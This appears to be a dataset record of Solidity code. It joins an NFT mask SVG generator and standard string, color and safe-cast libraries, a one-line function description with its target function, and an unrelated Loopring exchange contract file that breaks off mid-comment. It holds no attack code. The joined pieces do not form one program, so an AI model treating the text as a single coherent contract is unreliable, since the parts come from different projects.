item_5() public pure returns (string memory) { return base(classicMask(Colors.BLACK)); } /// @dev Mask N°6 => Bandage White function item_6() public pure returns (string memory) { return base(string(abi.encodePacked(classicMask("F5F5F5"), bandage()))); } /// @dev Mask N°7 => Bandage Classic function item_7() public pure returns (string memory) { return base(string(abi.encodePacked(classicMask("575673"), bandage()))); } /// @dev Mask N°8 => Nihon function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( classicMask("F5F5F5"), '<ellipse opacity="0.87" fill="#FF0039" cx="236.1" cy="259.8" rx="13.4" ry="14.5"/>' ) ) ); } /// @dev Generate classic mask SVG with the given color function classicMask(string memory color) public pure returns (string memory) { return string( abi.encodePacked( '<path fill="#', color, '" stroke="#000000" stroke-miterlimit="10" d=" M175.7,317.7c0,0,20,15.1,82.2,0c0,0-1.2-16.2,3.7-46.8l14-18.7c0,0-41.6-27.8-77.6-37.1c-1.1-0.3-3-0.7-4-0.2 c-19.1,8.1-51.5,33-51.5,33s7.5,20.9,9.9,22.9s24.8,19.4,24.8,19.4s0,0,0,0.1C177.3,291.2,178,298.3,175.7,317.7z"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M177.1,290.1 c0,0,18.3,14.7,26.3,15s15.1-3.8,15.9-4.3c0.9-0.4,11.6-4.5,25.2-14.1"/>', '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="266.6" y1="264.4" x2="254.5" y2="278.7"/>', '<path opacity="0.21" d="M197.7,243.5l-7.9-3.5c-0.4-0.2-0.5-0.7-0.2-1.1l3.2-3.3 c0.4-0.4,1-0.5,1.5-0.3l12.7,4.6c0.6,0.2,0.6,1.1-0.1,1.3l-8.7,2.4C198,243.6,197.8,243.6,197.7,243.5z"/>', '<path opacity="0.24" fill-rule="evenodd" clip-rule="evenodd" d="M177.2,291.1 c0,0,23,32.3,39.1,28.1s41.9-20.9,41.9-20.9c1.2-8.7,2.1-18.9,3.2-27.6c-4.6,4.7-12.8,13.2-20.9,18.3c-5,3.1-21.2,14.5-34.9,16 C198.3,305.8,177.2,291.1,177.2,291.1z"/>' ) ); } /// @dev Generate bandage SVG function bandage() public pure returns (string memory) { return string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M142.9,247.9c34.3-21.9,59.3-27.4,92.4-18.5 M266.1,264.1c-21-16.2-60.8-36.4-73.9-29.1c-12.8,7.1-36.4,15.6-45.8,22.7 M230.9,242.8c-32.4,2.5-54.9,0.1-81.3,22.7 M259.8,272.3c-19.7-13.9-46.1-24.1-70.3-25.9 M211.6,250.1c-18.5,1.9-41.8,11.2-56.7,22 M256.7,276.1c-46-11.9-50.4-25.6-94,2.7 M229,267.5c-19.9,0.3-42,9.7-60.6,15.9 M238.4,290.6c-11-3.9-39.3-14.6-51.2-14 M214.5,282.5c-10.3-2.8-23,7.6-30.7,12.6 M221.6,299.8c-3.8-5.5-22.1-7.1-27-11.4 M176.2,312.4c8.2,7.3,65.1,6.4,81.2-2.6 M177.3,305.3c11.1,3.6,15.5,4.2,34.6,2.9 c14.5-1,33.2-2.7,46.2-9.2 M224.4,298.4c9,0,25.6-3.3,34.1-6 M249,285.8c3.6-0.2,7.1-1,10.5-2.3 M215.1,225.7 c-6-1.3-11.9-2.3-17.9-3.6c-4.8-1-9.8-2.1-14.7-1.3"/>' ) ); } /// @notice Return the mask name of the given id /// @param id The mask Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Maskless"; } else if (id == 2) { name = "Classic"; } else if (id == 3) { name = "Blue"; } else if (id == 4) { name = "Pink"; } else if (id == 5) { name = "Black"; } else if (id == 6) { name = "Bandage White"; } else if (id == 7) { name = "Bandage Classic"; } else if (id == 8) { name = "Nihon"; } } /// @dev The base SVG for the eyes function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Mask">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; /// @title Color constants library Colors { string internal constant BLACK = "33333D"; string internal constant BLACK_DEEP = "000000"; string internal constant BLUE = "7FBCFF"; string internal constant BROWN = "735742"; string internal constant GRAY = "7F8B8C"; string internal constant GREEN = "2FC47A"; string internal constant PINK = "FF78A9"; string internal constant PURPLE = "A839A4"; string internal constant RED = "D9005E"; string internal constant SAIKI = "F02AB6"; string internal constant WHITE = "F7F7F7"; string internal constant YELLOW = "EFED8F"; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } }
generate Json Metadata description
function generateDescription(SVGParams memory params) internal pure returns (string memory) { return string( abi.encodePacked( "Generated by ", Strings.toHexString(uint256(uint160(params.creator))), " at ", Strings.toString(params.timestamp) ) ); }
5,890,146
/** *Submitted for verification at Etherscan.io on 2021-12-13 */ // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; // File: contracts/lib/AddressUtil.sol // Copyright 2017 Loopring Technology Limited. /// @title Utility Functions for addresses /// @author Daniel Wang - <[email protected]> /// @author Brecht Devos - <[email protected]> library AddressUtil { using AddressUtil for *; function isContract( address addr ) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(addr) } return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470); } function toPayable( address addr ) internal pure returns (address payable) { return payable(addr); } // Works like address.send but with a customizable gas limit // Make sure your code is safe for reentrancy when using this function! function sendETH( address to, uint amount, uint gasLimit ) internal returns (bool success) { if (amount == 0) { return true; } address payable recipient = to.toPayable(); /* solium-disable-next-line */ (success, ) = recipient.call{value: amount, gas: gasLimit}(""); } // Works like address.transfer but with a customizable gas limit // Make sure your code is safe for reentrancy when using this function! function sendETHAndVerify( address to, uint amount, uint gasLimit ) internal returns (bool success) { success = to.sendETH(amount, gasLimit); require(success, "TRANSFER_FAILURE"); } // Works like call but is slightly more efficient when data // needs to be copied from memory to do the call. function fastCall( address to, uint gasLimit, uint value, bytes memory data ) internal returns (bool success, bytes memory returnData) { if (to != address(0)) { assembly { // Do the call success := call(gasLimit, to, value, add(data, 32), mload(data), 0, 0) // Copy the return data let size := returndatasize() returnData := mload(0x40) mstore(returnData, size) returndatacopy(add(returnData, 32), 0, size) // Update free memory pointer mstore(0x40, add(returnData, add(32, size))) } } } // Like fastCall, but throws when the call is unsuccessful. function fastCallAndVerify( address to, uint gasLimit, uint value, bytes memory data ) internal returns (bytes memory returnData) { bool success; (success, returnData) = fastCall(to, gasLimit, value, data); if (!success) { assembly { revert(add(returnData, 32), mload(returnData)) } } } } // File: contracts/thirdparty/BytesUtil.sol //Mainly taken from https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol library BytesUtil { function concat( bytes memory _preBytes, bytes memory _postBytes ) internal pure returns (bytes memory) { bytes memory tempBytes; assembly { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // Store the length of the first bytes array at the beginning of // the memory for tempBytes. let length := mload(_preBytes) mstore(tempBytes, length) // Maintain a memory counter for the current write location in the // temp bytes array by adding the 32 bytes for the array length to // the starting location. let mc := add(tempBytes, 0x20) // Stop copying when the memory counter reaches the length of the // first bytes array. let end := add(mc, length) for { // Initialize a copy counter to the start of the _preBytes data, // 32 bytes into its memory. let cc := add(_preBytes, 0x20) } lt(mc, end) { // Increase both counters by 32 bytes each iteration. mc := add(mc, 0x20) cc := add(cc, 0x20) } { // Write the _preBytes data into the tempBytes memory 32 bytes // at a time. mstore(mc, mload(cc)) } // Add the length of _postBytes to the current length of tempBytes // and store it as the new length in the first 32 bytes of the // tempBytes memory. length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) // Move the memory counter back from a multiple of 0x20 to the // actual end of the _preBytes data. mc := end // Stop copying when the memory counter reaches the new combined // length of the arrays. end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } // Update the free-memory pointer by padding our last write location // to 32 bytes: add 31 bytes to the end of tempBytes to move to the // next 32 byte block, then round down to the nearest multiple of // 32. If the sum of the length of the two arrays is zero then add // one before rounding down to leave a blank 32 bytes (the length block with 0). mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) // Round down to the nearest 32 bytes. )) } return tempBytes; } function slice( bytes memory _bytes, uint _start, uint _length ) internal pure returns (bytes memory) { require(_bytes.length >= (_start + _length)); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) { require(_bytes.length >= (_start + 20)); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) { require(_bytes.length >= (_start + 1)); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) { require(_bytes.length >= (_start + 2)); uint16 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x2), _start)) } return tempUint; } function toUint24(bytes memory _bytes, uint _start) internal pure returns (uint24) { require(_bytes.length >= (_start + 3)); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) { require(_bytes.length >= (_start + 4)); uint32 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x4), _start)) } return tempUint; } function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) { require(_bytes.length >= (_start + 8)); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), _start)) } return tempUint; } function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) { require(_bytes.length >= (_start + 12)); uint96 tempUint; assembly { tempUint := mload(add(add(_bytes, 0xc), _start)) } return tempUint; } function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) { require(_bytes.length >= (_start + 16)); uint128 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x10), _start)) } return tempUint; } function toUint(bytes memory _bytes, uint _start) internal pure returns (uint256) { require(_bytes.length >= (_start + 32)); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function toBytes4(bytes memory _bytes, uint _start) internal pure returns (bytes4) { require(_bytes.length >= (_start + 4)); bytes4 tempBytes4; assembly { tempBytes4 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes4; } function toBytes20(bytes memory _bytes, uint _start) internal pure returns (bytes20) { require(_bytes.length >= (_start + 20)); bytes20 tempBytes20; assembly { tempBytes20 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes20; } function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) { require(_bytes.length >= (_start + 32)); bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } function toAddressUnsafe(bytes memory _bytes, uint _start) internal pure returns (address) { address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint8Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint8) { uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toUint16Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint16) { uint16 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x2), _start)) } return tempUint; } function toUint24Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint24) { uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } function toUint32Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint32) { uint32 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x4), _start)) } return tempUint; } function toUint64Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint64) { uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), _start)) } return tempUint; } function toUint96Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint96) { uint96 tempUint; assembly { tempUint := mload(add(add(_bytes, 0xc), _start)) } return tempUint; } function toUint128Unsafe(bytes memory _bytes, uint _start) internal pure returns (uint128) { uint128 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x10), _start)) } return tempUint; } function toUintUnsafe(bytes memory _bytes, uint _start) internal pure returns (uint256) { uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function toBytes4Unsafe(bytes memory _bytes, uint _start) internal pure returns (bytes4) { bytes4 tempBytes4; assembly { tempBytes4 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes4; } function toBytes20Unsafe(bytes memory _bytes, uint _start) internal pure returns (bytes20) { bytes20 tempBytes20; assembly { tempBytes20 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes20; } function toBytes32Unsafe(bytes memory _bytes, uint _start) internal pure returns (bytes32) { bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } function fastSHA256( bytes memory data ) internal view returns (bytes32) { bytes32[] memory result = new bytes32[](1); bool success; assembly { let ptr := add(data, 32) success := staticcall(sub(gas(), 2000), 2, ptr, mload(data), add(result, 32), 32) } require(success, "SHA256_FAILED"); return result[0]; } } // File: contracts/core/iface/IAgentRegistry.sol // Copyright 2017 Loopring Technology Limited. interface IAgent{} abstract contract IAgentRegistry { /// @dev Returns whether an agent address is an agent of an account owner /// @param owner The account owner. /// @param agent The agent address /// @return True if the agent address is an agent for the account owner, else false function isAgent( address owner, address agent ) external virtual view returns (bool); /// @dev Returns whether an agent address is an agent of all account owners /// @param owners The account owners. /// @param agent The agent address /// @return True if the agent address is an agent for the account owner, else false function isAgent( address[] calldata owners, address agent ) external virtual view returns (bool); /// @dev Returns whether an agent address is a universal agent. /// @param agent The agent address /// @return True if the agent address is a universal agent, else false function isUniversalAgent(address agent) public virtual view returns (bool); } // File: contracts/lib/Ownable.sol // Copyright 2017 Loopring Technology Limited. /// @title Ownable /// @author Brecht Devos - <[email protected]> /// @dev The Ownable contract has an owner address, and provides basic /// authorization control functions, this simplifies the implementation of /// "user permissions". contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /// @dev The Ownable constructor sets the original `owner` of the contract /// to the sender. constructor() { owner = msg.sender; } /// @dev Throws if called by any account other than the owner. modifier onlyOwner() { require(msg.sender == owner, "UNAUTHORIZED"); _; } /// @dev Allows the current owner to transfer control of the contract to a /// new owner. /// @param newOwner The address to transfer ownership to. function transferOwnership( address newOwner ) public virtual onlyOwner { require(newOwner != address(0), "ZERO_ADDRESS"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } } // File: contracts/lib/Claimable.sol // Copyright 2017 Loopring Technology Limited. /// @title Claimable /// @author Brecht Devos - <[email protected]> /// @dev Extension for the Ownable contract, where the ownership needs /// to be claimed. This allows the new owner to accept the transfer. contract Claimable is Ownable { address public pendingOwner; /// @dev Modifier throws if called by any account other than the pendingOwner. modifier onlyPendingOwner() { require(msg.sender == pendingOwner, "UNAUTHORIZED"); _; } /// @dev Allows the current owner to set the pendingOwner address. /// @param newOwner The address to transfer ownership to. function transferOwnership( address newOwner ) public override onlyOwner { require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS"); pendingOwner = newOwner; } /// @dev Allows the pendingOwner address to finalize the transfer. function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/core/iface/IBlockVerifier.sol // Copyright 2017 Loopring Technology Limited. /// @title IBlockVerifier /// @author Brecht Devos - <[email protected]> abstract contract IBlockVerifier is Claimable { // -- Events -- event CircuitRegistered( uint8 indexed blockType, uint16 blockSize, uint8 blockVersion ); event CircuitDisabled( uint8 indexed blockType, uint16 blockSize, uint8 blockVersion ); // -- Public functions -- /// @dev Sets the verifying key for the specified circuit. /// Every block permutation needs its own circuit and thus its own set of /// verification keys. Only a limited number of block sizes per block /// type are supported. /// @param blockType The type of the block /// @param blockSize The number of requests handled in the block /// @param blockVersion The block version (i.e. which circuit version needs to be used) /// @param vk The verification key function registerCircuit( uint8 blockType, uint16 blockSize, uint8 blockVersion, uint[18] calldata vk ) external virtual; /// @dev Disables the use of the specified circuit. /// @param blockType The type of the block /// @param blockSize The number of requests handled in the block /// @param blockVersion The block version (i.e. which circuit version needs to be used) function disableCircuit( uint8 blockType, uint16 blockSize, uint8 blockVersion ) external virtual; /// @dev Verifies blocks with the given public data and proofs. /// Verifying a block makes sure all requests handled in the block /// are correctly handled by the operator. /// @param blockType The type of block /// @param blockSize The number of requests handled in the block /// @param blockVersion The block version (i.e. which circuit version needs to be used) /// @param publicInputs The hash of all the public data of the blocks /// @param proofs The ZK proofs proving that the blocks are correct /// @return True if the block is valid, false otherwise function verifyProofs( uint8 blockType, uint16 blockSize, uint8 blockVersion, uint[] calldata publicInputs, uint[] calldata proofs ) external virtual view returns (bool); /// @dev Checks if a circuit with the specified parameters is registered. /// @param blockType The type of the block /// @param blockSize The number of requests handled in the block /// @param blockVersion The block version (i.e. which circuit version needs to be used) /// @return True if the circuit is registered, false otherwise function isCircuitRegistered( uint8 blockType, uint16 blockSize, uint8 blockVersion ) external virtual view returns (bool); /// @dev Checks if a circuit can still be used to commit new blocks. /// @param blockType The type of the block /// @param blockSize The number of requests handled in the block /// @param blockVersion The block version (i.e. which circuit version needs to be used) /// @return True if the circuit is enabled, false otherwise function isCircuitEnabled( uint8 blockType, uint16 blockSize, uint8 blockVersion ) external virtual view returns (bool); } // File: contracts/core/iface/IDepositContract.sol // Copyright 2017 Loopring Technology Limited. /// @title IDepositContract. /// @dev Contract storing and transferring funds for an exchange. /// /// ERC1155 tokens can be supported by registering pseudo token addresses calculated /// as `address(keccak256(real_token_address, token_params))`. Then the custom /// deposit contract can look up the real token address and paramsters with the /// pseudo token address before doing the transfers. /// @author Brecht Devos - <[email protected]> interface IDepositContract { /// @dev Returns if a token is suppoprted by this contract. function isTokenSupported(address token) external view returns (bool); /// @dev Transfers tokens from a user to the exchange. This function will /// be called when a user deposits funds to the exchange. /// In a simple implementation the funds are simply stored inside the /// deposit contract directly. More advanced implementations may store the funds /// in some DeFi application to earn interest, so this function could directly /// call the necessary functions to store the funds there. /// /// This function needs to throw when an error occurred! /// /// This function can only be called by the exchange. /// /// @param from The address of the account that sends the tokens. /// @param token The address of the token to transfer (`0x0` for ETH). /// @param amount The amount of tokens to transfer. /// @param extraData Opaque data that can be used by the contract to handle the deposit /// @return amountReceived The amount to deposit to the user's account in the Merkle tree function deposit( address from, address token, uint96 amount, bytes calldata extraData ) external payable returns (uint96 amountReceived); /// @dev Transfers tokens from the exchange to a user. This function will /// be called when a withdrawal is done for a user on the exchange. /// In the simplest implementation the funds are simply stored inside the /// deposit contract directly so this simply transfers the requested tokens back /// to the user. More advanced implementations may store the funds /// in some DeFi application to earn interest so the function would /// need to get those tokens back from the DeFi application first before they /// can be transferred to the user. /// /// This function needs to throw when an error occurred! /// /// This function can only be called by the exchange. /// /// @param from The address from which 'amount' tokens are transferred. /// @param to The address to which 'amount' tokens are transferred. /// @param token The address of the token to transfer (`0x0` for ETH). /// @param amount The amount of tokens transferred. /// @param extraData Opaque data that can be used by the contract to handle the withdrawal function withdraw( address from, address to, address token, uint amount, bytes calldata extraData ) external payable; /// @dev Transfers tokens (ETH not supported) for a user using the allowance set /// for the exchange. This way the approval can be used for all functionality (and /// extended functionality) of the exchange. /// Should NOT be used to deposit/withdraw user funds, `deposit`/`withdraw` /// should be used for that as they will contain specialised logic for those operations. /// This function can be called by the exchange to transfer onchain funds of users /// necessary for Agent functionality. /// /// This function needs to throw when an error occurred! /// /// This function can only be called by the exchange. /// /// @param from The address of the account that sends the tokens. /// @param to The address to which 'amount' tokens are transferred. /// @param token The address of the token to transfer (ETH is and cannot be suppported). /// @param amount The amount of tokens transferred. function transfer( address from, address to, address token, uint amount ) external payable; /// @dev Checks if the given address is used for depositing ETH or not. /// Is used while depositing to send the correct ETH amount to the deposit contract. /// /// Note that 0x0 is always registered for deposting ETH when the exchange is created! /// This function allows additional addresses to be used for depositing ETH, the deposit /// contract can implement different behaviour based on the address value. /// /// @param addr The address to check /// @return True if the address is used for depositing ETH, else false. function isETH(address addr) external view returns (bool); } // File: contracts/core/iface/ILoopringV3.sol // Copyright 2017 Loopring Technology Limited. /// @title ILoopringV3 /// @author Brecht Devos - <[email protected]> /// @author Daniel Wang - <[email protected]> abstract contract ILoopringV3 is Claimable { // == Events == event ExchangeStakeDeposited(address exchangeAddr, uint amount); event ExchangeStakeWithdrawn(address exchangeAddr, uint amount); event ExchangeStakeBurned(address exchangeAddr, uint amount); event SettingsUpdated(uint time); // == Public Variables == mapping (address => uint) internal exchangeStake; uint public totalStake; address public blockVerifierAddress; uint public forcedWithdrawalFee; uint public tokenRegistrationFeeLRCBase; uint public tokenRegistrationFeeLRCDelta; uint8 public protocolTakerFeeBips; uint8 public protocolMakerFeeBips; address payable public protocolFeeVault; // == Public Functions == /// @dev Returns the LRC token address /// @return the LRC token address function lrcAddress() external view virtual returns (address); /// @dev Updates the global exchange settings. /// This function can only be called by the owner of this contract. /// /// Warning: these new values will be used by existing and /// new Loopring exchanges. function updateSettings( address payable _protocolFeeVault, // address(0) not allowed address _blockVerifierAddress, // address(0) not allowed uint _forcedWithdrawalFee ) external virtual; /// @dev Updates the global protocol fee settings. /// This function can only be called by the owner of this contract. /// /// Warning: these new values will be used by existing and /// new Loopring exchanges. function updateProtocolFeeSettings( uint8 _protocolTakerFeeBips, uint8 _protocolMakerFeeBips ) external virtual; /// @dev Gets the amount of staked LRC for an exchange. /// @param exchangeAddr The address of the exchange /// @return stakedLRC The amount of LRC function getExchangeStake( address exchangeAddr ) public virtual view returns (uint stakedLRC); /// @dev Burns a certain amount of staked LRC for a specific exchange. /// This function is meant to be called only from exchange contracts. /// @return burnedLRC The amount of LRC burned. If the 